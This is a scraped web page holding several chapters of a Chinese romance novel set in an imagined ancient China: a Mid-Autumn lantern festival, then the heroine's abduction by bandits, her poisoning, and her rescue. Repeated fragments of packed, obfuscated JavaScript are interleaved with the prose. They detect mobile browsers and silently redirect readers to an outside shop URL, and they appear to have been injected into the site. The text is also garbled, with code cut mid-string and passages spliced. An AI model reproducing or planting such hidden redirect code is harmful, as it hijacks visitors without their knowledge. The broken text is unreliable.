RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283332|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我便不远送了。” “多谢兄长,我便告辞了。”平阳王落了两步,还是撑着身子行了个躬礼。 这一刻就好似他们都还是皇子的时候,没有猜忌没有恩怨。 这句兄长似乎已经很有没听过了。 都说是中秋团圆,如今这宫中倒是没有血脉相连的亲人了,赵煜怀却觉得是松了一口气。 “回宫吧。” “嗻。” —— 明日便是中秋了,绣楼的大家格外的忙碌,秀萍午后告了半天假,要回去给家中的糕点铺子打下手。 有些姑娘写了信,下午趁着铺子不忙便都去驿站给家中捎信去了。 “晏公子今日不回吗?”点秋好奇的问着。 “这是什么?”姜如素一眼就看到了她手上拿的信,晃过去的那一眼似乎看见上面写着自己的大名。 “这个是姑娘你的信?”点秋说着就递了过去,要她说这晏公子还不如旁人,那刘秀才今日都还专程上门来送月饼。 若非是他不知道从哪里知道了,这刘秀才每逢佳节都会给她家姑娘送些小玩意儿或者吃食。死活专门过来叮嘱她不准再收下了。 当然,也并不是因为晏行丘出手大方,给了一小锭银子。 姜如素看信上寄来的地址是隔壁的明洲城,明洲城的布庄不少,做绣楼难免会有交易往来,长久交易上千百两银子的交易,逢年过节送些吉祥话来笼络客人是寻常事。 她今日也是花了不少的功夫才将明日要送去那几个大主顾家的礼品备下。 “应该是布庄送的吉祥话吧。”姜如素拆开信来,才发现上面除了祝绣楼中秋事事顺心以外,还提及了另一件事情,那便是即将举办在明洲城的万绫会。 “万绫会是什么?”点秋见姜如素看完也凑上去看了看。 “是多家布庄办的商会,到时候可以带你去见见市面。”上次万绫会举办的时候,姜如素还没到郢州城,她也是后来才听说过。 万绫会的盛状,后来人提起来也是津津乐道,似乎有千万匹新颖花样新奇的布匹,随着风就好像是闯入了织女的作坊中。 “好啊,那我可要好好开开眼。” 两人欢声笑语一来二往的还扯上些闲话。 “姜姑娘。”清冽的女声似雨声遥遥入耳,桐雨一个翻身下了墙,“前院正忙,想着便不打扰大家,才出此下策。” “主人说中秋到了,让我下山采买的时候,正好给姜姑娘也送些吃食。”桐雨说着将手中的食盒放在石桌上。 “多谢桐雨姑娘。我正说着明日亲自上门去拜会严先生,不曾想严先生先是送了来。”姜如素有些拘束,严秋水帮过她不少忙,应是她先谢礼才是。 “姜姑娘明日不用特地去一趟,主人最近有要事在忙,不见旁人的。”桐雨回拒那些一得空便去秋水堂,一副不见严秋水不罢休的模样,如今说起来倒是有些生硬。 “倒不是说姜姑娘是旁人,主人也是想见姑娘,只是忙得紧谁都不见的。”桐雨连忙解释道。 “无妨,”严秋水那般的人,少不了人见他,姜如素取来自己备下的东西,“辛苦桐雨姑娘转交了。” 45.中秋 后院的风大,分明在楼下却好似听见了楼上浆洗好的布料,在风中呼呼作响的劲道声响,簌簌的叶落声中,方才离开的人去而复返。 桐雨手中提着姜如素方才请她代为转交的食盒,像是找不到后院门的位置,桐雨又是翻了墙进来。 一回生二回熟,这次倒是随和了不少,像是简单的迈过门槛一般的进了院子。 “桐雨姑娘可是落了东西?”姜如素关切的询问着,往日来绣楼交代的都是那位姓温的姑娘来的,桐雨不曾来过绣楼,想来或许也是迷了路。 姜如素心思缜密,将许些可能性都给想了又想。 “没有落下东西。”桐雨瞥见一侧的点秋,这姑娘她是认得的,绣楼里一直跟在姜如素身边的丫头。但还是小心些为上。 “姜姑娘过来些,我有些话要说。”桐雨等着姜如素走了过来,凑了过去贴在姜如素的耳边。“方才险些忘了,主人说恰临中秋,给姜姑娘备了份礼,是个好消息。” “好消息?什么好消息?”姜如素来了兴致,严秋水居然还给她备了礼,桐雨口中的好消息怕不止是单单的生意往来。 难道是前辈?和前辈有关的消息?南水和暗赫人之间,她不知道前辈做到了那一步,那担子一直若有若无的压在她肩上。 “我便不告诉姜姑娘了,这个好消息不久之后,姜姑娘自然就知晓了。”桐雨说完便不再回答,任由姜如素那双好奇的眼一直盯着她。 她只笑着不解释,她知道是什么,但严秋水偏刻意交代过,若是姜如素便说不知。 “是吗?那我静候着好消息。”姜如素心被钩了起来。 “方才是我疏忽忘记了,如今记起来转达给姜姑娘,我便不打扰了。”桐雨眉眼带着笑走了,倒是钩的姜如素魂也随着跟上去要瞧瞧似的。 会是什么好消息呢? 她欠严秋水的情,似乎快要还不清了。 —— 中秋佳节,郢州城每年都会在城东举行拜月祭礼,城门的门禁也在这一日推迟了不少,城里城外的不少人家都会携着家人也来参加祭礼,以求家庭和睦。 姜如素每年也会去,观礼完后取上一炷香,以求绣楼里的大家家庭和睦,平平安安的,也求生意兴隆。 “姑娘,猜灯谜送花灯呢。”点秋方才看祭月礼前她就被那花灯给闪了眼,看礼的时候也心不在焉的,只想着礼毕就去猜灯谜,勿要让旁人将花灯赢了去。 姜如素往年都是祭礼完成后,便回绣楼去的,毕竟汉羌两地的风俗还是有诸多不同的地方,倒是拜月确确实实的有些相似之处。 “姑娘,你就同我去吧。”点秋环住姜如素的手,手上没用劲,但就是她不答应便不罢休的架势。 “好。那我们去吧。”姜如素捏了捏她的脸。 "好欸,"点秋高兴极了,拉着姜如素挤过人群到了她早就看好的那处摊子,“老板,这灯谜怎么猜?” “三钱猜一次,猜中三次便送花灯。”老板一边给点秋介绍着,一边将一侧的荷花灯递给了方才猜中的一位姑娘。“不过这猜灯谜前可得先交上五答的钱。” “那这个呢?”点秋指了指被他挂在身后的那几盏河灯。 “这个猜中十次才送,”老板指了指那做成兔子模样的河灯,又指了指那挂在最上面的如一轮圆月的河灯,“那个是今年的灯王,看谁答对的多便是归谁。” “那往年都是答对了多少?”点秋问着,这老板这么说,又不透个底,摆明着就是要她们一时兴起便砸钱进去去猜。 “这个我心里可没底呢。”老板笑呵呵的避开着不回答,“只记得昨年那位公子可答对了不少,姑娘要不先试试?” “试试吧。”姜如素开口,凑在点秋耳边。“我们点秋姑娘如今可不是灯谜能手?” “那姑娘想要那个?”点秋也凑在姜如素耳边低语着。 “就这个荷花灯。” “好。”点秋利落的数了数五答的钱交给老板。 “那我先去那边了?”点秋指了指几排灯墙最里侧的那里,那里挂满了灯笼,垂下的纸张就像是绣楼浆洗布料时,满满当当的布匹。 “好,那我待会儿去找你。”姜如素看着点秋走了过去,自己就近寻了处少人的地方。 姜如素用二指擒住那灯笼下挂着的纸条,免得它被风得转旋儿,看也看不清字,她看着手中的灯谜心里有了想法。 四面皆是扇,山山皆相连。 是田字。 姜如素想着便将纸条从哪灯笼下取下来。 为了防止有人在一侧将谜底听了去,最后耍赖去得了那灯王,灯谜都是不同的,若是能答上着灯谜,便揭了纸去老板那里兑。 答错了便交上一答的钱,答对了便记下次数,够了便去兑那花灯。 如今她手上已经有了三四张纸条了,都是些简单的灯谜,让她捡了便宜去。 灯墙上的灯谜大都换过一次了,除去少有几个始终答不对的还挂在上面,姜如素见腿侧高度似乎换的最是频繁,想来应该是都让答上了。 下面的灯谜看着那系着的绳,已经有不少已经换过一两次了。 换过的灯谜想来是并不会太简单,姜如素大概扫了一眼,她只觉得云里雾里答不上个所以然。没曾想真让她碰上了简单的灯谜,心底有了答案,姜如素揭纸的手也是麻利。 想着点秋应该也猜了不少灯谜,这丫头早盼着今日中秋节,一得空便去那书肆里找些有趣的灯谜书籍看看。 她才抬眼,看见个身形修长的男人也同她就隔了两三步的距离,男子穿着的简单,一身布衣,带着今夜摊贩上处处都有人贩卖的面具。 那带着面具的男人站在那灯架的另一侧,同着姜如素隔着两串灯笼组成了灯墙。 那一瞬的恍惚,灯火恍惚照的彻亮的那一刻,那双眼似乎跃动着光,就好似晏行丘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312731|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平日见她时,眸中最常见的那点光。 “晏行丘?”姜如素嘟囔了一句,他这是赶回来了,想来晏行丘似乎次次都是神出鬼没的,也不好生打个招呼。 男子似乎看着眼前的灯谜犯了难,轻叹了两声,带着面具下的眉应该是蹙在了一起,他的声音很小,在喧闹的夜市中几乎听不见。 姜如素心想着,时逢家宴,他身为长子应该脱不了身才是,晏家人似乎也许久没见他了,一家人团团圆圆的日子,怎么会放他回郢州城来,这番一想,确实又觉得眼前人不似晏行丘了。 “勉郎,这是难着你了?”一个衣着俏丽的女子,面具别在腰间的女子,笑盈盈的走至男子身边。 “是有些难着我了,我可没有夫人那般聪慧。”带着面具的男子声音里满是柔情,“夫人不如替我看看?” “那我瞧瞧。”女子迈男子的怀中,就这他的手看灯谜。 果真不是他,是灯晃了眼。 “姑娘。”点秋拍了拍姜如素的肩,“姑娘猜中了多少?” “猜中的不多,这也才五张纸条,你呢?够我们点秋姑娘去把灯王兑来吗?”姜如素逗她。 “那里能行啊。”点秋微微有些失落,“我平日看的那些灯谜书只寻着了几个是见过的,旁的都未听过。不过,倒也算是够了。” 点秋将手中的七张纸条递在了姜如素的手中,两人凑起来一共够了十二张,兑换一个兔子灯已经足够了。 “可还要猜会儿?”毕竟难得有闲时,能出来一起玩会儿。 “要的!我还要再猜一张。凑齐十三张可以兑一个兔子灯再给姑娘兑了荷花灯。”点秋说着就凑在灯墙前开始寻找着最后缺的那一张。 天上的月亮好似一个圆玉盘,皎洁的挂在天空中,姜如素想起以前每月拜月的时候,前辈会虔诚了祷告着,祷告南水一切安稳。 夜市里喧闹,她的心却静下来,像是在南水夜里一望无际的草地上,只呆呆的望着那墨色的与天接壤的一线。 点秋不一会儿便又猜中了一张,凑够了十三张,又去补了八答的钱,欢欢喜喜的得了两个花灯。 “姑娘,我们去放花灯。”小姑娘心满意足的提着花灯。 两人寻了河边个人少的地方,这里平日都是那些从船上运货下来的地方,比及那些登船口是少些人知道。 “我许愿姑娘事事顺遂,然后跟着姑娘吃香的,见更多的市面,然后觅得良人。”点秋虔诚的抱着花灯。“姑娘呢?” "我吗?"姜如素本都想着将河灯放走了,被睁眼的点秋眼尖的给叫住了。 西羌似乎除开怀着一颗虔诚心以外便都是,观星象解惑,寻祭司解惑,祈愿倒是个既轻又重的词。姜如素也学着她方才的样子,捧着河灯闭目沉思着。 数不胜数的花灯漂在河面,随着河流带着祈愿远去,像是将银河里的星星放还回了河流里。她的那盏河灯渐渐便混在了其中。 46.山匪 中秋过后,气候倒是有些入秋的迹象了,赶路时遇上风,气候便是觉得又凉了两分。 姜如素靠在马车内闭目养神,袁卜榆下月要回庄子上去,便将在绣楼号脉的日子提早了,就放在了中秋后,点秋也得忙着那头,万绫会便是她一人前去了。 路程有些许远,姜如素今日起的早,昨日又睡得晚,这会儿正困着呢。 “吁。”马夫一声喊声收紧缰绳,将车速降了下来。 “出什么事儿了?”现在的位置就算马车跑的再快,也应该是才出郢州不远的地方,郢州同明州交界之处也少有摊贩。 马车渐渐平稳的停了下来,听见车外一个男子似乎呼喊着,等一下。 “姜姑娘,前面有辆马车坏了,瞧着像是驿站的,可否容我去问问,可是遇上问题了。”马夫一五一十的交代着。 “嗯。”这荒郊野岭的若是困住了也是个大麻烦,能帮一程便是帮一程。 马夫下了车,走了上去,看着方才远远招手的男人,是驿站里熟识的,“王兄这是怎么了?遇上什么事儿了?” 被称作王兄的马夫走了过来,拦着马夫朝一侧走了去,“刘兄,这好不容易跑一趟远些的地方多挣一些,没想着这才出城不远,车轴便坏了。” 男人瞥了一眼自己停在一侧的马车,压低了声音,出行前未好好检查一番确实是他的错,他也不敢让车上的客人听了去。 “这不?才行至这里就听的车下异响,车轴已经明显能看出断痕了。”男人没在说下去,车轴坏了可是大事,要是驾车的时候猛地断开,车轮崩飞,车厢也得抛出去。 “那你还不想办法,不要耽误了人的安排。”刘马夫赶紧叮嘱着,要是没什么大事他也得赶紧起身。 “这不是有个法子,就是...”王马夫欲言又止的看向刘马夫,又瞥了瞥姜如素坐着的马车,“我这车上还有位姑娘,不知道可否问问车上那位贵人可愿意稍她一程。” “她是要去那里?”刘马夫心软问道。 “去明洲城说是要参加万绫会。”王马夫立马回答着,生怕晚一份他就反悔了。 “我替你去问问。”刘马夫赶到马车旁,轻轻的开口,“姜姑娘,前面这有辆马车出了点问题,正巧那那姑娘也是去明洲城的,不知道姑娘愿不愿意捎上一程。” 姜如素坐在马车中将两人的交谈都听了去,心里大概是有了猜测,“让她上来吧。” 刘车夫得了允,便立马交代了王车夫,勿要误了时候,那车上的姑娘得了解决的法子,便也匆匆过来。 “予吟便在这儿谢过姑娘了。”周予吟在马车外,将那些感谢的话语都说了个遍,仿佛车厢里的人是专程解人难题的仙子。 周予吟上了车,挑开帘子嘴上还说着感谢得话,却在看到姜如素那一刻顿住了。 她早该明白的,这个时候自郢州城往明洲城去,除去她便也只有姜如素了。 姜如素眉眼带笑的看着她,“周姑娘怎么不夸了,我也是这才知道原来我在周姑娘心中是这般存在。” 周予吟顿了顿,像是卡在了马车的门栏前,进退不得。 “怎么?周姑娘不走?若是不走...” “我走。”周予吟坐在姜如素的对面,往最里面的那另一个角落挪了挪。 “姑娘可坐稳了,我们启程了。”马夫打了招呼,马车便又开始行驶了。 周予吟似乎是嫌弃一般轻蔑的大量了一圈马车的内部,鼻息间轻哧一声,她要将方才丢去的场子找回来,心想着姜如素心里肯定不高兴,看着她吃瘪的样子,周予吟忍不住心底有些高兴。 怕被姜如素抓住她在偷瞧她,便装作是不经意的活动着脖颈。 周予吟借着机会抬眼窥了眼姜如素,见她毫无反应,放着狠话,“要不是我马车坏了,我才不同你同乘一辆,这么小一个马车。” 周予吟在家中一直是被娇宠着的存在,就连嫁的夫婿不如意,也是一纸和离回了娘家,想着开绣楼,便借着家中的人脉将绣楼开了起来。 这么说来,周予吟这般的心力,姜如素倒也是敬佩,但她依旧没开口接话,就听着周予吟将她这小马车上上下下都数落了一遍。 “说够了?”姜如素悠闲的从马车上的暗隔取出备下的水袋,舒舒服服的喝上一口。“若是真觉得委屈,你大可以下去不坐。” “你...”周予吟最快想反驳,但见姜如素靠在那门栏处,作势要撩帘子。“我不说便是了。” 又走了一程,周予吟没带水,什么也没带的上了姜如素的马车,“那个...你还有水吗?” 问出的那一刻,周予吟觉得自己的脸颊烫的像是要煮熟一壶水,她在对她的对家求来一壶水。 姜如素从暗格里取出了水袋递了过去,或许是想着吃人手短,拿人手软。周予吟喝了水后一路上倒是安静下来了不少。 “也不知道你...” “我记得我们之间还有笔账没算吧。”姜如素抬眸看她,那一眼就像是要将她钉在狩猎的圈子中。 “哪有?”周予吟有些心虚,她自然知道姜如素要说的是那件事,可那些人最后都早早的离开了郢州城,想来这也是诈她。“你可不要胡说啊。” “胡说?我可没有啊。”姜如素好整以暇借着那角落靠着,她的指尖落在木椅上,规律的落下敲击声,“我没记错的话,似乎那个姑娘叫青茹?应该是叫这个名字吧?” 姜如素分明早已知道,却还是装作一副也才知晓一些内情的模样。 “谁?”周予吟短暂的失神后,立马反应了过来,“我没有听说过这个名字。” “是吗?周姑娘是不认得还是不想认。”姜如素坐下的地方是在马车的前部,身侧便是门,她盯着周予吟,眼神一凌,仿佛用视线将她困在这小小的车厢里。 “我...我确实是,是我鬼迷心窍了,是我对不住你。”周予吟第一次的感受到有种刀架在脖子间的感受。“我只是听人说要是不挫挫你们无素绣楼,我怕是难有出头之日。” 一口气说完后,周予吟心底舒了口气,心想着她该说的都老老实实的说了,姜如素就算再怎么要挟着,她也都说了,再诚诚恳恳的认了错,“对不住你,是我错了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这一票能干个大的,那两个小娘子看着细皮嫩肉的,”扛着大刀的山匪,色迷迷的搓着手,“也不知道那个才是老大要的那个人,剩下的岂不是...” 他还没笑出声就被方才手臂有疤的六当家,结结实实的扇了一巴掌,将他脑子里那些胡思乱想的想法从脑海里清理出去。 “可别坏了老大的正事。”六当家放着狠话,“否则我第一个饶不了你们。” “六当家,我知道了。”扛着大刀的男人立马瘪了气。 才进山寨就看见远处,穿着兽皮制作的外衣蓄着胡子的男人,用刀砍下眼前的烤羊腿肉递给了对面的男人,他对面的男子接过来,用着刀手法娴熟的片成一片一片的片状。 两人余光自马车一进寨门就捕捉到了,趁着品肉的空闲,那男子还有空将两百两银子放在桌上,“剩下的钱,劫回来这车怎么安置随你们,车里那女人不要动。” 山匪头子带着深意的眼神瞧了他一眼,今日带回来的小娘子可是娇滴滴的美人,他这位兄弟也是肯花钱肯享福。 47.拓跋 山寨位于郢州同明州的交界之处,驾车倒是不远,男人斯文的享用完烤羊腿,约莫半个时辰过去了。 “拓跋公子,那两人就关在这里面的,屋子的窗户我早让人钉好了。”披着兽皮的大当家少见的亲自领着男人在山寨里游走了。 “两人?谁?”他至始至终要的都是姜如素,怎么是两个人莫不是劫错了。 “是两个啊,两个小娘子长得可漂亮了,”大当家说着,“从郢州城出城就盯着的。”错不了。 那男人步子放着缓慢,看着眼前这个架空的二层竹屋,门口一把大锁将房门锁的死死的,上面还缠上了两圈铁链。 “拓跋公子以后要是还有这活儿需要找我们,只管来就是了。”难得这土匪窝里养出来的人,少见的也说些文绉绉的话。 男人出手大方,不过是劫个人的事儿,出手就是几百两,这样的生意和天上掉馅饼一样。 “钥匙。”男人不想多搭理他,直奔主题。 “这儿。”大当家递过去一个我懂的眼神,将钥匙放在了男人的手中,看着男人走了上去,交代身边的小弟待会儿不许过来打扰。 男人两三下便将锁打开了,推门而入屋中靠窗砌的床上一左一右的倒着两个女人,他的目光一下子就落在了左边那人的身上。 那女子是姜如素,男人咂舌,这个名字他最近听的可是频繁,都快刻进骨子里了。 算算时辰她应该快醒了,趁她醒来前可还有事儿要做。 男人从怀中瓷瓶中摸出一粒药丸,毫不留情的捏着姜如素的下巴,将药丸塞进她口中,还娴熟的抬高她的下颚。 他还是有些不放心,去桌边倒上一碗水,视线却一直未曾离开过姜如素,像是嘀咕一般说着,“听闻你们南水羌的人,最是奸诈狡猾,我还是有些不放心啊。” 他捉住姜如素的下巴,硬生生丝毫不怜香惜玉的灌进去了整整一碗水。松手的那一刻,姜如素倒在床尾的被子上,一口水呛得她咳的快受不住了。 这一呛,硬生生将她咳醒了过来,缓了好一会儿,她才有力气撑着绳子坐了起来。 “醒了?”男人挑眉看着她。 姜如素并没有回答他,戒备的打量了眼前的男人,他并不像是郢州城的人,换而言之更不像是汉地的人。 男人穿着一席便衣,高束的发尾微微弯曲出一个弧度,暗纹的重工腰带显得他腰身极好,看过去整个人极为出挑。男人似乎察觉到了,抑或着说他早就察觉到了姜如素的目光,走近了些以着居高临下的姿态看着她。 “如素姑娘果真是个大忙人,好不容易才能和您说上一句话呢。” “我似乎并未见过你吧。”姜如素在郢州城这些年,一直与人为善从不结仇,西羌也仅仅只认识尔木知等人,旁人几乎未曾见过。 “看来是我冒昧了。”那人似乎想到了好笑的事情,“按照汉地的话,我是不是应该说是我莽撞,惊扰了姑娘。” 姜如素似乎隐约猜到了一些,瞥见身侧的周予吟还未醒来。 “她不会醒的,毕竟...”男人放缓了语气,翘着腿坐在了长凳上,“要将祭司大人请来,这分量要是低了,可是请不来的。” 祭司大人,姜如素叹了一口气,她逃不过的,暗赫人就好似闻到肉味的鬣狗,死咬着不松口。 “我不是祭司,你认错人了。”姜如素矢口否认,只觉很是疲惫,这是同她耗上了是吧? “是真是假随我回西羌就知道了。”男人不买账。 “我不回去。”姜如素调整了身子,靠在那被子堆上。“我知道你们寻找祭司是干什么,可我不是,就算是抓我回去也无用。” “那些并不重要。”男人取下墙壁上挂着的麻绳,他心里没底,不知道姜如素有没有留后手,还是早些动身为妙。 毕竟当下,姜如素虽没有被捆着,如今被下了毒,但毕竟是个弱女子加之就算逃出了这间屋子也离不开山寨,他难免还是放松了些。 待至一尺之间时,她从男人腰间的皮袋上隐约认出上面刻着忱廿两个字,应该是他的名字。 “忱廿。” “嗯?” 姜如素趁着男人分神之际,左手飞速的携着一根银针就往那人的颈侧扎去,忱廿反应快,轻而易举的将她左手的针夺了过去。 姜如素的右手出手也快,朝着他肩胛骨击一掌,男人硬生生受下了这一掌,但姜如素终究不似那些习武之人,一掌下去只是些微令他吃些痛。 忱廿很快就将姜如素的双手都擒住,麻绳一绕就将她的双手给捆上了。 “老实点,这点三脚猫功夫还是别自寻麻烦。”男人拍拍手坐在一侧,“祭司大人这个姓氏很好找啊。真不知道那些废物怎么找的,连人都给找没了。” 姜姓在西羌算得上是常见的大姓,西羌大多部落的祭司都沿袭姜姓。 姜如素立马捕捉了他话里的很多人,姜如素敛眸沉思着,看来她背后的严秋水应是出了不少力。 “是吗?不知道你又是什么人?偏要来抓我。” “我?拓跋忱廿。记住我的名字,说不定以后你会忘不掉的。” 拓跋姓氏并不常见,他一出口姜如素心底大抵是有了猜测,某个部落的王子确实某一日若是一统了西羌,确实让她忘不掉。 “是吗?”姜如素感觉身子有些隐隐的难受,像是要将她的□□同灵魂剥开一样。 “起火了。”粗犷的声音像是号角声,一声落后山寨外明显喧闹了不少,呼喊声求救声混成了一片。 “你不去看看?”姜如素抬眸看他。 “我为什么要去看?”拓跋忱廿笑着看她,“不出明日我便会从这儿离开,他们的生死与我似乎并未有过太大的关联。” “也是。”姜如素倏得笑了,“你们怎么会善心大发。” 暗赫人若是将良心,怕是也不会惹出这么多年的战事。 “把她放了吧。”姜如素侧头点了点周予吟。“我跟你回去,毕竟...我可不想死后都不得安生。” 南水祭司一脉虽早已经散在各地,但当年那句“若离族群,七年不还,一生飘零。早逝于盛年,命终于他乡。”却是应验在了不少羌人的身上。 客死他乡,魂魄会找不到回乡的路,会生生死死寻不到轮回路。 拓跋忱廿坐着依旧不动,眼神却已经不耐烦得说道,与他何干。 “那算了我也不是那么想回去了,”姜如素就盯着他,门外得喧闹声渐渐的变了味道,似乎混杂着血腥味。 拍门声骤起。 “拓跋公子,外面有人攻寨,大当家的您暂避一会儿。” “嗯?你的人?”拓跋忱廿先是瞧了姜如素一眼,才漫不经心的回答着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387344|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道了。” 拓跋忱廿慢条斯理的整理了袖口,姜如素背后的人他倒是挺想见见,毕竟挡了他们不少人,几年前的时候,派人曾到郢州寻过一次,竟然将她漏掉了。 按理来说那人并不会犯这么大的错,不过他手下那群人到都是废物。男人唇角不自知的挂上了一丝嘲讽的笑意。 前段时日听他手下的彭先生提及过,无功而返郢州城,当真是有趣,他倒是想去会会那人。 “好好在这里呆着。”拓跋忱廿扔了个瓶子给她,“她的。” “这就走了?”拓跋忱廿走的倒是爽快,姜如素一双手可是还被捆着。 “真走了?”姜如素小声嘀咕着,短刀从袖口划出,落在双手间三两下就将麻绳给割开了。 “这下手也太重了。”姜如素活动着已经被勒出红印的手,拿着瓷瓶往周予吟鼻息下晃晃,不消一息她便转醒了。 "这是哪里?"周予吟一口气缓过来,又提上了一口气。 “当然是匪窝咯?”将如素推了推窗户,窗户死死的焊在原地,推不动一点。 “啊?”周予吟连忙上上下下的将自己全身给检查了个遍,才松了半口气,“那我们怎么办?” 如今这山匪窝中,同姜如素合作总比她自己单枪匹马的好多了。 “先出去再说吧。”从门的缝隙中能看出外面被铁链绕上给锁住了,姜如素转身的时候,全身的气力骤然的消失。 眼前一片发黑,等眼前的黑散开时,却好似喉口像是卡着一口血,要她呕出来,眼前手掌心的血色都变了。 拓跋忱廿到底做了什么? 这是要将她一条命都给剥夺去才甘心? “姜如素,你...你可别吓我啊。”只是走神了一瞬,她怎么就倒在了一旁。“你没事吧?” 刀刃劈开锁链的声响叮叮当当的声响不小,门吱呀的开了。姜如素顺着声音瞧去,一眼认出了晏行丘。 他的左手似乎受了伤,用不知道何处扯来的布包着,那布的颜色深瞧不见染上了多少血,也着看不见伤口,却看见那血液顺着他下垂的指尖滴落。 “走。”将如素忍住腹部传来的疼痛,将短刀扔给了周予吟,强撑着要起身。 “没事吧?”晏行丘一把扯下蒙面的面罩。 什么? 姜如素缓了好一会儿才明白晏行丘说的什么,想开口却没了力气。 “我还是跟你们一起走吧。”周予吟去而复返的又回来了,这会儿山匪都朝着这边来,她可说不准会不会撞上,她是当真什么都不会。 两人都未回答她。 姜如素已经快要撑不住了,扶住桌边的手,分明使了十足的劲儿,折着手指生疼,却没有一点力。 来不及了,她的状况并不好。 不需要姜如素的回应,晏行丘也看出来了她现在的处境并不好,若是再晚上一些怕是会丢了命,晏行丘扯上面罩,将姜如素环抱在怀中夺门而出。 “没事的,会好的。”晏行丘轻拍着她的后背安抚着。 姜如素只觉得喉咙发疼,整个胸腔都压不住呼吸间的那口气,只凭着一口气吊着,如似回光返照的那一刻。 看着离寨门越来越近,她身子虚的发汗,眼前却清晰的很,拓跋忱廿站在那竹屋前,朝着她动了动唇。 我们还会再见的。 48.失踪 “袁神医,多亏了你上次给我开的...”若非是袁卜榆还在为下一位病人号脉,老妇人怕是都要感激的上去拽着他的手,好好的夸奖上一番。 “医者仁心,是袁某该做的。”袁卜榆笑着回了她,不再接话。 今日绣楼上上下下都是人挤人,有些是专程早早就派人蹲在绣楼门前领了前十五个号牌,凭着那刻着数字的木牌候在绣楼那影壁后。 这样一来也省去了不少人排上半天,到最后了才发现袁神医会诊的那十五个号,自己并不在其中。 也有不少人是奔着这安神的香囊来的,一来挂在腰间是个新奇的新挂件,二来安神倒是也是解了心中的那一抹烦躁。 这才刚刚过去一个上午,眼瞅着要到午时了,点秋早早备下的那些香囊全都一售而空,不少人甚至交了定金等着过两日再来取。 “袁卜榆呢?”晏行丘回的急,腾不出手去开门,硬生生直接将门闩给踹断了。秀萍在后院听得那巨大的动静连忙起身去瞧瞧。 正巧就撞见了两人,晏行丘怀中的姜如素阖着眼,脸色发白。 “姑娘这是?” “袁卜榆呢?叫袁卜榆来,我先上楼,晚些送些热水来。”晏行丘进门脚下便一直没停,确定秀萍听清楚他的话后,便径直上了楼。 他冷着脸吩咐着,将秀萍也猛地吓着了,缓了一息才后知后觉的朝着前院跑去,“袁先生,袁先生。” 晏行丘刚将姜如素放在床榻上,袁卜榆提着平日常用的那个药箱也赶了过来。 “这是?”袁卜榆打量了姜如素一眼,人虽然是醒着的,意识已经开始有些游离了,“她今日不是去万绫会?怎么成了这副样子?” “事情很复杂。” 袁卜榆知道现在不是寻根问底的时候,探了探脉,将唇抿成一条线,如今姜如素的情况并不好,很是棘手,晏行丘也立马从他眼神重看出来了。 这并不是什么轻而易举便能化解的。 “怎么办?” “只有一个法子能根除。” “什么?”只要有解药就好。就算没有解药,他晏行丘掘地三尺,将整个西羌的天翻过来也要将这解药寻来。 “回西羌。” 答案就在眼前,晏行丘却高兴不起来。 姜如素的身份尤为特殊,祭司一职在西羌的地位并不低,他当年初见她的时候,还记得南水与她同辈的似乎还有十几人。 可那十几人在七年前的那场战乱中,尽数身亡,她身为南水祭司一脉的唯一一位真正具备着成为祭司能力的人。 西羌于她是故土,也是狼穴。 “非得回去吗?”他有些不死心。 “嗯。”袁卜榆点头,他早年走南闯北,西羌不少药与毒像是自成一派体系一般,同汉地的不少疗法有些细微的差别。 “我知道了。” “我待会儿会开服药,让后厨熬好送上来,虽然不至于根治,缓解症状是可以的。”袁卜榆合上药箱就去楼下抓药。 午后时分,窗外的雨下的很大,偶尔还能伴随着若远若近的雷鸣声,透过那一方小小的窗,看见外面的天似红近紫,像是要将入冬前的所有雨都倾完。 天色昏昏,分明才过午时一个时辰,瞧着辨不出时日。 姜如素静静的坐在床边,发丝很乱的耷拉着,屋内漆黑一片,晏行丘都看不见她的样貌,借着天光的依稀只看到一个轮廓。 “如素。”晏行丘轻声唤她,怕声音稍重些就惊扰了还在休息的她。 是难受的紧吗?姜如素没有回答他,晏行丘一颗心都揪了起来,将她抱回来的时候她的状况就不是很好。 晏行丘凑近了些,才发现她将簪子也都取了下来,那根一直别在姜凌发间的乌色簪子,深深的抵在掌心。 擦破皮肉,将如无素花一般艳丽的色彩绽放在她的手心。 “是疼的难受吗?”晏行丘见那抹艳色,心也被紧紧的攥住了,随着那道被划开的伤口在心上也割上一刀。 他动作轻柔得抚平她握着的拳,取来手帕先是让她握着止血。 姜如素没有回答他,只垂着眸看着他的动作,任由他将自己的手松开又合拢来,她呆呆的,像是失了情感的木偶。 “如素,可觉得好受些了?”晏行丘凑近重复着,怕屋外的雷鸣声将他的声音盖了过去。 